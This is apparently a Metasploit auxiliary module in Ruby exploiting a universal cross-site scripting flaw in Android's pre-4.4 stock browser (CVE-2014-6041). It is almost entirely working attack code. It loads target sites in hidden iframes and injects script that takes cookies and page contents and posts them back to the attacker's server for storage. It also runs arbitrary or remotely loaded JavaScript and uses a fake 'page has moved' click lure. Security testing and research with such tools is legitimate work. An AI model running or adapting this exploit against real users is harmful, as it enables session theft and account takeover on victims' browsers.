modules/auxiliary/gather/android_stock_browser_uxss.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Open Source Platform (AOSP) Browser UXSS',
'Description' => %q{
This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in
all versions of Android's open source stock browser before 4.4, and Android apps running
on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug
to scrape both cookie data and page contents from a vulnerable browser window.
If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option,
which will cause a popup window to be used. This requires a click from the user
and is much less stealthy, but is generally harmless-looking.
By supplying a CUSTOM_JS parameter and ensuring CLOSE_POPUP is set to false, this
module also allows running arbitrary javascript in the context of the targeted URL.
Some sample UXSS scripts are provided in data/exploits/uxss.
},
'Author' => [
'Rafay Baloch', # Original discovery, disclosure
'joev' # Metasploit module
],
'License' => MSF_LICENSE,
'Actions' => [
[ 'WebServer' ]
],
'PassiveActions' => [
'WebServer'
],
'References' => [
[ 'URL', 'http://1337day.com/exploit/description/22581' ],
[ 'OSVDB', '110664' ],
[ 'CVE', '2014-6041' ]
],
'DefaultAction' => 'WebServer'
))
register_options([
OptString.new('TARGET_URLS', [
true,
"The comma-separated list of URLs to steal.",
'http://example.com'
]),
OptString.new('CUSTOM_JS', [
false,
"A string of javascript to execute in the context of the target URLs.",
''
]),
OptString.new('REMOTE_JS', [
false,
"A URL to inject into a script tag in the context of the target URLs.",
''
]),
OptBool.new('BYPASS_XFO', [
false,
"Bypass URLs that have X-Frame-Options by using a one-click popup exploit.",
false
]),
OptBool.new('CLOSE_POPUP', [
false,
"When BYPASS_XFO is enabled, this closes the popup window after exfiltration.",
true
])
])
end
def on_request_uri(cli, request)
print_status("Request '#{request.method} #{request.uri}'")
if request.method.downcase == 'post'
collect_data(request)
send_response_html(cli, '')
else
payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))
domains = datastore['TARGET_URLS'].split(',')
html = <<-EOS
<html>
<body>
<script>
var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}"));
var bypassXFO = #{datastore['BYPASS_XFO']};
var received = [];
window.addEventListener('message', function(e) {
var data = JSON.parse(e.data);
if (!data.send) {
if (bypassXFO && data.i && received[data.i]) return;
if (bypassXFO && e.data) received.push(true);
}
var x = new XMLHttpRequest;
x.open('POST', window.location, true);
x.send(e.data);
}, false);
function randomString() {
var str = '';
for (var i = 0; i < 5+Math.random()*15; i++) {
str += String.fromCharCode('A'.charCodeAt(0) + parseInt(Math.random()*26))
}
return str;
}
function installFrame(target) {
var f = document.createElement('iframe');
var n = randomString();
f.setAttribute('name', n);
f.setAttribute('src', target);
f.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px');
f.onload = function(){
attack(target, n);
};
document.body.appendChild(f);
}
function attack(target, n, i, cachedN) {
var exploit = function(){
window.open('\\u0000javascript:if(document&&document.body){(opener||top).postMessage('+
'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+
'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+
'));}void(0);', n);
}
if (!n) {
n = cachedN || randomString();
var closePopup = #{datastore['CLOSE_POPUP']};
var w = window.open(target, n);
var deadman = setTimeout(function(){
clearInterval(clear);
clearInterval(clear2);
attack(targets[i], null, i, n);
}, 10000);
var clear = setInterval(function(){
if (received[i]) {
if (i < targets.length-1) {
try{ w.stop(); }catch(e){}
try{ w.location='data:text/html,<p>Loading...</p>'; }catch(e){}
}
clearInterval(clear);
clearInterval(clear2);
clearTimeout(deadman);
if (i < targets.length-1) {
setTimeout(function(){ attack(targets[i+1], null, i+1, n); },100);
} else {
if (closePopup) w.close();
}
}
}, 50);
var clear2 = setInterval(function(){
try {
if (w.location.toString()) return;
if (w.document) return;
} catch(e) {}
clearInterval(clear2);
clear2 = setInterval(exploit, 50);
},20);
} else {
exploit();
}
}
var clickedOnce = false;
function onclickHandler() {
if (clickedOnce) return false;
clickedOnce = true;
attack(targets[0], null, 0);
return false;
}
window.onload = function(){
if (bypassXFO) {
document.querySelector('#click').style.display='block';
window.onclick = onclickHandler;
} else {
for (var i = 0; i < targets.length; i++) {
installFrame(targets[i]);
}
}
}
</script>
<div style='text-align:center;margin:20px 0;font-size:22px;display:none'
id='click' onclick='onclickHandler()'>
The page has moved. <a href='#'>Click here to be redirected.</a>
</div>
</body>
</html>
EOS
print_status("Sending initial HTML ...")
send_response_html(cli, html)
end
end
def collect_data(request)
response = JSON.parse(request.body)
url = response['url']
if response && url
file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")
print_good "Collected data from URL: #{url}"
print_good "Saved to: #{file}"
end
end
def backend_url
proto = (datastore["SSL"] ? "https" : "http")
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
end
def custom_js
rjs_hook + datastore['CUSTOM_JS']
end
def rjs_hook
remote_js = datastore['REMOTE_JS']
if remote_js.present?
"var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); "
else
''
end
end
def run
exploit
end
end